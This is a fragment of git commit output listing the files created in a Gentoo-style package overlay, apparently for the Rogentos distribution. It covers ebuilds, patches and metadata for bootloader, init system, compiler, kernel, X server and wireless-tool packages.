 create mode 100644 net-wireless/prism54/ChangeLog
 create mode 100644 net-wireless/prism54/Manifest
 create mode 100644 net-wireless/prism54/files/digest-prism54-20050724
 create mode 100755 net-wireless/prism54/files/prism54-svn-20050724.patch
 create mode 100644 net-wireless/prism54/metadata.xml
 create mode 100644 net-wireless/prism54/prism54-20050724.ebuild
 create mode 100644 net-wireless/ralink-firmware/Manifest
 create mode 100644 net-wireless/ralink-firmware/ralink-firmware-20090213.ebuild
 create mode 100644 net-wireless/reaver/ChangeLog
 create mode 100644 net-wireless/reaver/Manifest
 create mode 100644 net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch
 create mode 100644 net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch
 create mode 100644 net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch
 create mode 100644 net-wireless/reaver/files/0004-wash-probe-request.patch
 create mode 100644 net-wireless/reaver/files/0005-soreau-show-status-r2.patch
 create mode 100644 net-wireless/reaver/files/0005-soreau-show-status.patch
 create mode 100644 net-wireless/reaver/metadata.xml
 create mode 100644 net-wireless/reaver/reaver-1.4-r1.ebuild
 create mode 100644 net-wireless/reaver/reaver-1.4-r2.ebuild
 create mode 100644 net-wireless/reaver/reaver-1.4-r3.ebuild
 create mode 100644 net-wireless/rfidtool/Manifest
 create mode 100644 net-wireless/rfidtool/rfidtool-0.01.ebuild
 create mode 100644 net-wireless/sdrsharp/ChangeLog
 create mode 100644 net-wireless/sdrsharp/Manifest
 create mode 100644 net-wireless/sdrsharp/files/sdrsharp
 create mode 100644 net-wireless/sdrsharp/metadata.xml
 create mode 100644 net-wireless/sdrsharp/sdrsharp-9999.ebuild
 create mode 100644 net-wireless/ska/Manifest
 create mode 100644 net-wireless/ska/files/digest-ska-0.2
 create mode 100644 net-wireless/ska/ska-0.2.ebuild
 create mode 100644 net-wireless/virtualradar-bin/Manifest
 create mode 100644 net-wireless/virtualradar-bin/files/virtualradar
 create mode 100644 net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild
 create mode 100644 net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild
 create mode 100644 net-wireless/wepcrackgui/Manifest
 create mode 100644 net-wireless/wepcrackgui/wepcrackgui-9999.ebuild
 create mode 100644 net-wireless/wifitap/Manifest
 create mode 100644 net-wireless/wifitap/wifitap-0.4.0-r4.ebuild
 create mode 100644 net-wireless/wifite/Manifest
 create mode 100644 net-wireless/wifite/files/wifite-2-noupgrade.patch
 create mode 100644 net-wireless/wifite/files/wifite-noupgrade.patch
 create mode 100644 net-wireless/wifite/metadata.xml
 create mode 100644 net-wireless/wifite/wifite-0.84.ebuild
 create mode 100644 net-wireless/wifite/wifite-2.0_beta_p10.ebuild
 create mode 100644 net-wireless/wifite/wifite-2.85-r1.ebuild
 create mode 100644 net-wireless/wifite/wifite-2.85.ebuild
 create mode 100644 net-wireless/wireless-regdb/Manifest
 create mode 100644 net-wireless/wireless-regdb/files/extra-monitor-20090817.patch
 create mode 100644 net-wireless/wireless-regdb/files/extra-monitor-20091125.patch
 create mode 100644 net-wireless/wireless-regdb/files/extra-monitor-debug.patch
 create mode 100644 net-wireless/wireless-regdb/files/extra-monitor.patch
 create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild
 create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild
 create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild
 create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild
 create mode 100644 net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild
 create mode 100644 overlay.xml
 create mode 100644 profiles/categories
 create mode 100644 profiles/repo_name
 create mode 100644 repository.xml
 create mode 100644 sci-libs/gsl-empty/Manifest
 create mode 100644 sci-libs/gsl-empty/files/cblas.pc.in
 create mode 100644 sci-libs/gsl-empty/files/eselect.cblas.gsl
 create mode 100644 sci-libs/gsl-empty/files/gsl-1.15-cblas.patch
 create mode 100644 sci-libs/gsl-empty/gsl-empty-1.15.ebuild
 create mode 100644 sci-libs/gsl-empty/metadata.xml
 create mode 100644 sci-libs/gsl/Manifest
 create mode 100644 sci-libs/gsl/files/cblas.pc.in
 create mode 100644 sci-libs/gsl/files/eselect.cblas.gsl
 create mode 100644 sci-libs/gsl/files/gsl-1.15-cblas.patch
 create mode 100644 sci-libs/gsl/gsl-1.15.ebuild
 create mode 100644 sci-libs/gsl/metadata.xml
 create mode 100644 sets/X
 create mode 100644 sets/claws-plugins
 create mode 100644 sets/e17
 create mode 100644 sets/entropy
 create mode 100644 sets/entropy-no-kde
 create mode 100644 sets/fluxbox
 create mode 100644 sets/gnome
 create mode 100644 sets/gst-plugins
 create mode 100644 sets/gst-plugins-extra
 create mode 100644 sets/ime-fonts
 create mode 100644 sets/ime-fonts-support
 create mode 100644 sets/intel-kernels
 create mode 100644 sets/lxde
 create mode 100644 sets/packagekit
 create mode 100644 sets/rogentos-artwork
 create mode 100644 sets/wireless
 create mode 100644 sets/xfce
 create mode 100644 sys-apps/baselayout/Manifest
 create mode 100644 sys-apps/baselayout/baselayout-2.0.3-r1.ebuild
 create mode 100644 sys-apps/baselayout/baselayout-2.1.ebuild
 create mode 100644 sys-apps/baselayout/baselayout-2.2.ebuild
 create mode 100644 sys-apps/baselayout/files/baselayout-1.12.14-iproute.patch
 create mode 100644 sys-apps/baselayout/files/baselayout-2.0.1-proc_touch.patch
 create mode 100644 sys-apps/baselayout/files/baselayout-2.0.3-slash-run-dir.patch
 create mode 100644 sys-apps/baselayout/files/baselayout-rogentos-os-release.patch
 create mode 100644 sys-apps/baselayout/metadata.xml
 create mode 100644 sys-apps/gpu-detector/Manifest
 create mode 100755 sys-apps/gpu-detector/files/gpu-configuration
 create mode 100644 sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild
 create mode 100644 sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild
 create mode 100644 sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild
 create mode 100644 sys-apps/gpu-detector/gpu-detector-3.ebuild
 create mode 100644 sys-apps/lsb-release/Manifest
 create mode 100644 sys-apps/lsb-release/files/lsb-release-rogentos-version.patch
 create mode 100644 sys-apps/lsb-release/lsb-release-1.4.ebuild
 create mode 100644 sys-apps/lsb-release/metadata.xml
 create mode 100644 sys-apps/openrc/Manifest
 create mode 100644 sys-apps/openrc/Reasons
 create mode 100644 sys-apps/openrc/files/0001-Filter-the-systemd-cgroup-from-the-current-process.patch
 create mode 100644 sys-apps/openrc/files/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch
 create mode 100644 sys-apps/openrc/files/openrc-0.5.3-disable_warns_until_migrated.patch
 create mode 100644 sys-apps/openrc/files/openrc-0.6.1-fix-clockskew-error-handling.patch
 create mode 100644 sys-apps/openrc/files/openrc-0.6.1-network-syntax.patch
 create mode 100644 sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch
 create mode 100644 sys-apps/openrc/files/openrc-0.8.3-deprecation_warning.patch
 create mode 100644 sys-apps/openrc/files/openrc-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch
 create mode 100644 sys-apps/openrc/files/openrc-9999-pause.patch
 create mode 100644 sys-apps/openrc/files/openrc-enable-interactive-2.patch
 create mode 100644 sys-apps/openrc/files/openrc-enable-interactive.patch
 create mode 100644 sys-apps/openrc/files/openrc-netmount-fix.patch
 create mode 100644 sys-apps/openrc/files/openrc-protect-rcsvcdir-for-symlink.patch
 create mode 100644 sys-apps/openrc/files/openrc-sabayon-config-2.patch
 create mode 100644 sys-apps/openrc/files/openrc-sabayon-config.patch
 create mode 100644 sys-apps/openrc/files/openrc.logrotate
 create mode 100644 sys-apps/openrc/files/start-stop-daemon.pam
 create mode 100644 sys-apps/openrc/metadata.xml
 create mode 100644 sys-apps/openrc/openrc-0.10.5.ebuild
 create mode 100644 sys-apps/openrc/openrc-0.11.8.ebuild
 create mode 100644 sys-apps/openrc/openrc-0.12.4.ebuild
 create mode 100644 sys-apps/openrc/openrc-0.12_pre1-r1.ebuild
 create mode 100644 sys-apps/openrc/openrc-0.12_pre1-r2.ebuild
 create mode 100644 sys-apps/openrc/openrc-0.12_pre1.ebuild
 create mode 100644 sys-apps/openrc/openrc-0.8.2-r1.ebuild
 create mode 100644 sys-apps/openrc/openrc-0.8.3-r1.ebuild
 create mode 100644 sys-apps/openrc/openrc-0.9.8.1.ebuild
 create mode 100644 sys-apps/openrc/openrc-0.9.9.3.ebuild
 create mode 100644 sys-boot/grub-handler/Manifest
 create mode 100755 sys-boot/grub-handler/files/grub-handler
 create mode 100644 sys-boot/grub-handler/grub-handler-0.2-r6.ebuild
 create mode 100644 sys-boot/grub/Manifest
 create mode 100755 sys-boot/grub/files/00_fonts
 create mode 100755 sys-boot/grub/files/05_distro_theme
 create mode 100644 sys-boot/grub/files/grub-0.97-gfxmenu-v8.patch
 create mode 100644 sys-boot/grub/files/grub-0.97-uuid.patch
 create mode 100644 sys-boot/grub/files/grub-0.97-uuid_doc.patch
 create mode 100644 sys-boot/grub/files/grub-1.96-genkernel.patch
 create mode 100644 sys-boot/grub/files/grub-1.97-genkernel.patch
 create mode 100644 sys-boot/grub/files/grub-1.97-hostdisk.patch
 create mode 100644 sys-boot/grub/files/grub-1.97-vga-deprecated.patch
 create mode 100644 sys-boot/grub/files/grub-1.97-wallpaper-settings-support.patch
 create mode 100644 sys-boot/grub/files/grub-1.98-add-legacy-rootfs-detection.patch
 create mode 100644 sys-boot/grub/files/grub-1.98-follow-dev-mapper-symlinks.patch
 create mode 100644 sys-boot/grub/files/grub-1.98-genkernel-initramfs-single.patch
 create mode 100644 sys-boot/grub/files/grub-1.98-genkernel.patch
 create mode 100644 sys-boot/grub/files/grub-1.98-wallpaper-settings-support.patch
 create mode 100644 sys-boot/grub/files/grub-1.99-disable-floppies.patch
 create mode 100644 sys-boot/grub/files/grub-1.99-genkernel.patch
 create mode 100644 sys-boot/grub/files/grub-1.99-vga-deprecated-not-yet.patch
 create mode 100644 sys-boot/grub/files/grub-1.99-vga-deprecated.patch
 create mode 100644 sys-boot/grub/files/grub-1.99-wallpaper-settings-support.patch
 create mode 100644 sys-boot/grub/files/grub-1.99-workaround-raid-bios-bug.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-20_linux_xen.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-compression.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-config-quoting.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-dmraid.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-freebsd.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-genkernel-initramfs-single.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-hardcoded-awk.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-no-gets.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-os-prober-efi-system.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-parallel-make.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-rogentos-patch.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-secureboot-user-sign-2.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-secureboot-user-sign.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-texinfo.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-tftp-endian.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-vga-deprecated-not-yet.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-wallpaper-settings-support.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-zfs-feature-flag-support-r1.patch
 create mode 100644 sys-boot/grub/files/grub-2.00-zfs-feature-flag-support.patch
 create mode 100644 sys-boot/grub/files/grub.conf.gentoo
 create mode 100644 sys-boot/grub/files/grub.default-2
 create mode 100644 sys-boot/grub/files/grub2-default
 create mode 100644 sys-boot/grub/files/grub2-default-1.99
 create mode 100644 sys-boot/grub/files/splash.xpm.gz
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/01_uuids_and_lvm_dont_play_along_nicely.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/902_boot_blocklist_hack.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/904_disable_floppies.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/956_loopback_root.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/957_handle_loopback.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/958_linux_no_loopmount.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/960_raid_virtio.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/961_dmraid_probe.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/962_no_device_map.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/968_hostdisk_speedup.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/969_lvm_raid_probe.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/970_fix_locale_installation.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/971_langpacks.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/974_drive_probe.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/975_hostdisk_hd.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream/01_uuids_and_lvm_dont_play_along_nicely.diff
 create mode 100644 sys-boot/grub/files/ubuntu-upstream/904_disable_floppies.diff
 create mode 100644 sys-boot/grub/grub-0.97-r22.ebuild
 create mode 100644 sys-boot/grub/grub-1.99-r2.ebuild
 create mode 100644 sys-boot/grub/grub-2.00-r2.ebuild
 create mode 100644 sys-boot/grub/grub-2.00-r3.ebuild
 create mode 100644 sys-boot/grub/grub-2.00-r4.ebuild
 create mode 100644 sys-boot/grub/grub-2.00-r5.ebuild
 create mode 100644 sys-boot/grub/grub-2.00.ebuild
 create mode 100644 sys-boot/plymouth-extras/Manifest
 create mode 100644 sys-boot/plymouth-extras/plymouth-extras-0.8.8-r1.ebuild
 create mode 100644 sys-boot/plymouth/Manifest
 create mode 100644 sys-boot/plymouth/files/plymouth-rogentos-defaults.patch
 create mode 100644 sys-boot/plymouth/metadata.xml
 create mode 100644 sys-boot/plymouth/plymouth-0.8.8-r2.ebuild
 create mode 100644 sys-boot/plymouth/plymouth-0.8.8-r4.ebuild
 create mode 100644 sys-boot/plymouth/plymouth-0.8.9_pre2.ebuild
 create mode 100644 sys-devel/base-gcc/Manifest
 create mode 100644 sys-devel/base-gcc/base-gcc-4.5.3-r2.ebuild
 create mode 100644 sys-devel/base-gcc/base-gcc-4.6.2.ebuild
 create mode 100644 sys-devel/base-gcc/base-gcc-4.6.3.ebuild
 create mode 100644 sys-devel/base-gcc/base-gcc-4.7.2.ebuild
 create mode 100644 sys-devel/base-gcc/files/awk/fixlafiles.awk
 create mode 100644 sys-devel/base-gcc/files/awk/fixlafiles.awk-no_gcc_la
 create mode 100644 sys-devel/base-gcc/files/fix_libtool_files.sh
 create mode 100644 sys-devel/base-gcc/files/gcc-configure-LANG.patch
 create mode 100644 sys-devel/base-gcc/files/gcc-configure-texinfo.patch
 create mode 100644 sys-devel/base-gcc/files/gcc-spec-env.patch
 create mode 100644 sys-devel/base-gcc/files/mkinfodir
 create mode 100644 sys-devel/base-gcc/files/pro-police-docs.patch
 create mode 100644 sys-devel/base-gcc/metadata.xml
 create mode 100644 sys-devel/gcc/Manifest
 create mode 100644 sys-devel/gcc/files/awk/fixlafiles.awk
 create mode 100644 sys-devel/gcc/files/awk/fixlafiles.awk-no_gcc_la
 create mode 100755 sys-devel/gcc/files/c89
 create mode 100755 sys-devel/gcc/files/c99
 create mode 100644 sys-devel/gcc/files/fix_libtool_files.sh
 create mode 100644 sys-devel/gcc/files/gcc-4.6.2-fix-ICE-on-arm.patch
 create mode 100644 sys-devel/gcc/files/gcc-configure-LANG.patch
 create mode 100644 sys-devel/gcc/files/gcc-configure-texinfo.patch
 create mode 100644 sys-devel/gcc/files/gcc-spec-env.patch
 create mode 100644 sys-devel/gcc/files/mkinfodir
 create mode 100644 sys-devel/gcc/files/pro-police-docs.patch
 create mode 100644 sys-devel/gcc/gcc-4.5.3-r2.ebuild
 create mode 100644 sys-devel/gcc/gcc-4.6.2.ebuild
 create mode 100644 sys-devel/gcc/gcc-4.6.3.ebuild
 create mode 100644 sys-devel/gcc/gcc-4.7.2.ebuild
 create mode 100644 sys-devel/gcc/metadata.xml
 create mode 100644 sys-devel/ucpp/ChangeLog
 create mode 100644 sys-devel/ucpp/Manifest
 create mode 100644 sys-devel/ucpp/files/tune.h.patch
 create mode 100644 sys-devel/ucpp/metadata.xml
 create mode 100644 sys-devel/ucpp/ucpp-1.3.3.ebuild
 create mode 100644 sys-devel/ucpp/ucpp-1.3.ebuild
 create mode 100644 sys-devel/ucpp/ucpp-9999.ebuild
 create mode 100644 sys-devel/ucpp/ucpp/ChangeLog
 create mode 100644 sys-fs/vdfuse/ChangeLog
 create mode 100644 sys-fs/vdfuse/Manifest
 create mode 100644 sys-fs/vdfuse/vdfuse-82a.ebuild
 create mode 100644 sys-kernel/compat-drivers-alx/Manifest
 create mode 100644 sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc5.ebuild
 create mode 100644 sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc7.ebuild
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/00-read-only.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/01-read-only.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/02-read-only-ath.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/03-read-only-memory.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/04-read-only-brcm80211.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/05-read-only-i915.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/06-read-only-radeon.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/07-read-only-wl1251.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/08-read-only-ti.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/09-read-only-nouveau.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/20-version-disagrement-iwlwifi.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/4004_zd1211rw-2.6.28.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/ath_regd_optional.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-ath6kl.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-bt_tty.patch
 create mode 100755 sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-driver-select
 create mode 100644 sys-kernel/compat-drivers-alx/files/ipw2200-inject.3.4.6.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.6.6.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.7_rc1_p6.patch
 create mode 100644 sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.8.patch
 create mode 100644 sys-kernel/compat-drivers/Manifest
 create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6-r1.ebuild
 create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6.ebuild
 create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.8.ebuild
 create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.8_rc5.ebuild
 create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.8_rc7.ebuild
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/00-read-only.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/01-read-only.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/02-read-only-ath.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/03-read-only-memory.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/04-read-only-brcm80211.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/05-read-only-i915.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/06-read-only-radeon.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/07-read-only-wl1251.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/08-read-only-ti.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/09-read-only-nouveau.patch
 create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/20-version-disagrement-iwlwifi.patch
 create mode 100644 sys-kernel/compat-drivers/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
 create mode 100644 sys-kernel/compat-drivers/files/4004_zd1211rw-2.6.28.patch
 create mode 100644 sys-kernel/compat-drivers/files/ath_regd_optional.patch
 create mode 100644 sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch
 create mode 100644 sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec.patch
 create mode 100644 sys-kernel/compat-drivers/files/compat-drivers-3.8-ath6kl.patch
 create mode 100644 sys-kernel/compat-drivers/files/compat-drivers-3.8-bt_tty.patch
 create mode 100755 sys-kernel/compat-drivers/files/compat-drivers-3.8-driver-select
 create mode 100644 sys-kernel/compat-drivers/files/ipw2200-inject.3.4.6.patch
 create mode 100644 sys-kernel/compat-drivers/files/leds-disable-strict-3.6.6.patch
 create mode 100644 sys-kernel/compat-drivers/files/leds-disable-strict-3.7_rc1_p6.patch
 create mode 100644 sys-kernel/compat-drivers/files/leds-disable-strict-3.8.patch
 create mode 100644 sys-kernel/compat-drivers/metadata.xml
 create mode 100644 sys-kernel/debian-sources-lts/Manifest
 create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41-r1.ebuild
 create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41.ebuild
 create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43-r1.ebuild
 create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43.ebuild
 create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.46.ebuild
 create mode 100755 sys-kernel/debian-sources-lts/files/config-extract
 create mode 100644 sys-kernel/debian-sources-lts/files/debian-sources-2.6.32.30-bridgemac.patch
 create mode 100644 sys-kernel/debian-sources-lts/files/debian-sources-2.6.38.3-bridgemac.patch
 create mode 100644 sys-kernel/debian-sources-lts/metadata.xml
 create mode 100644 sys-kernel/debian-sources/Manifest
 create mode 100644 sys-kernel/debian-sources/debian-sources-3.10.11.ebuild
 create mode 100644 sys-kernel/debian-sources/debian-sources-3.12.3.ebuild
 create mode 100755 sys-kernel/debian-sources/files/config-extract
 create mode 100644 sys-kernel/debian-sources/files/debian-sources-3.10.11-xfs-libcrc32c-fix.patch
 create mode 100644 sys-kernel/debian-sources/files/debian-sources-3.12.3-xfs-libcrc32c-fix.patch
 create mode 100644 sys-kernel/debian-sources/metadata.xml
 create mode 100644 sys-kernel/kogaion-sources/Manifest
 create mode 100644 sys-kernel/kogaion-sources/files/desktop/0001-block-cgroups-kconfig-build-bits-for-BFQ-v7-3.10.patch
 create mode 100644 sys-kernel/kogaion-sources/files/desktop/0002-block-introduce-the-BFQ-v7-I-O-sched-for-3.10.patch
 create mode 100644 sys-kernel/kogaion-sources/files/desktop/0003-block-bfq-add-Early-Queue-Merge-EQM-to-BFQ-v7-for-3.10.0.patch
 create mode 100644 sys-kernel/kogaion-sources/files/desktop/3.10-ck1.patch
 create mode 100644 sys-kernel/kogaion-sources/files/desktop/change-default-console-loglevel.patch
 create mode 100644 sys-kernel/kogaion-sources/files/desktop/criu-no-expert.patch
 create mode 100644 sys-kernel/kogaion-sources/files/desktop/enable_haswell_pstate_driver.patch
 create mode 100644 sys-kernel/kogaion-sources/files/desktop/set_kogaion_extraversion_in_makefile.patch
 create mode 100644 sys-kernel/kogaion-sources/files/desktop/uksm-0.1.2.2-for-v3.10.patch
 create mode 100644 sys-kernel/kogaion-sources/files/security/0001-x86-x32-Correct-invalid-use-of-user-timespec-in-the-.patch
 create mode 100644 sys-kernel/kogaion-sources/kogaion-sources-3.10.25.ebuild
 create mode 100644 sys-kernel/linux-sabayon/Manifest
 create mode 100644 sys-kernel/linux-sabayon/linux-sabayon-3.2-r2.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.10.26.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.10.27.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.11.10.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.12.7.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.12.8.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.2-r2.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.4.76.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.4.77.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.8.13.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.9.11.ebuild
 create mode 100644 sys-kernel/rogentos-sources/rogentos-sources.skel
 create mode 100644 www-apps/liquid_feedback_core/ChangeLog
 create mode 100644 www-apps/liquid_feedback_core/Manifest
 create mode 100644 www-apps/liquid_feedback_core/files/liquid_feedback_core-2.2.3-gentoo.patch
 create mode 100644 www-apps/liquid_feedback_core/files/postinstall-en.txt
 create mode 100644 www-apps/liquid_feedback_core/liquid_feedback_core-2.2.3.ebuild
 create mode 100644 www-apps/liquid_feedback_core/liquid_feedback_core-3.0.0.ebuild
 create mode 100644 www-apps/liquid_feedback_core/metadata.xml
 create mode 100644 www-apps/liquid_feedback_frontend/ChangeLog
 create mode 100644 www-apps/liquid_feedback_frontend/Manifest
 create mode 100644 www-apps/liquid_feedback_frontend/files/lqfb-apache.conf
 create mode 100644 www-apps/liquid_feedback_frontend/files/lqfb.example.com.conf
 create mode 100644 www-apps/liquid_feedback_frontend/files/myconfig.lua
 create mode 100644 www-apps/liquid_feedback_frontend/files/postinstall-en.txt
 create mode 100644 www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.2.ebuild
 create mode 100644 www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.5.ebuild
 create mode 100644 www-apps/liquid_feedback_frontend/metadata.xml
 create mode 100644 x11-base/xorg-server/ChangeLog
 create mode 100644 x11-base/xorg-server/Manifest
 create mode 100644 x11-base/xorg-server/files/xdm-setup.initd-1
 create mode 100644 x11-base/xorg-server/files/xdm.confd-3
 create mode 100644 x11-base/xorg-server/files/xdm.confd-4
 create mode 100755 x11-base/xorg-server/files/xdm.initd
 create mode 100644 x11-base/xorg-server/files/xdm.initd-3
 create mode 100644 x11-base/xorg-server/files/xdm.initd-4
 create mode 100644 x11-base/xorg-server/files/xdm.initd-5
 create mode 100644 x11-base/xorg-server/files/xdm.initd-7
 create mode 100644 x11-base/xorg-server/files/xdm.initd-8
 create mode 100644 x11-base/xorg-server/files/xorg-cve-2011-4028+4029.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-disable-tests-without-ddx.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-dix-pointerrootwin-send-focusin.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-dix-send-focus-events.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-log-format-fix.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-pointer-to-int-cast.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-1.12-disable-acpi.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-1.12-xf86edidmodes-array-bounds.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-1.9-nouveau-default.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-die-ugly-background.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-disable-acpi.patch
 create mode 100644 x11-base/xorg-server/files/xorg-server-glapi_c.patch
 create mode 100644 x11-base/xorg-server/files/xorg-sets.conf
 create mode 100644 x11-base/xorg-server/metadata.xml
 create mode 100644 x11-base/xorg-server/xorg-server-1.10.4.ebuild
 create mode 100644 x11-base/xorg-server/xorg-server-1.11.3.ebuild
 create mode 100644 x11-base/xorg-server/xorg-server-1.11.4-r1.ebuild
 create mode 100644 x11-base/xorg-server/xorg-server-1.12.0-r1.ebuild
 create mode 100644 x11-base/xorg-server/xorg-server-1.12.2.ebuild
 create mode 100644 x11-base/xorg-server/xorg-server-1.12.3.ebuild
 create mode 100644 x11-base/xorg-server/xorg-server-1.12.4.ebuild
 create mode 100644 x11-drivers/ati-drivers/Manifest
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.10.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.11.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.12.ebuild
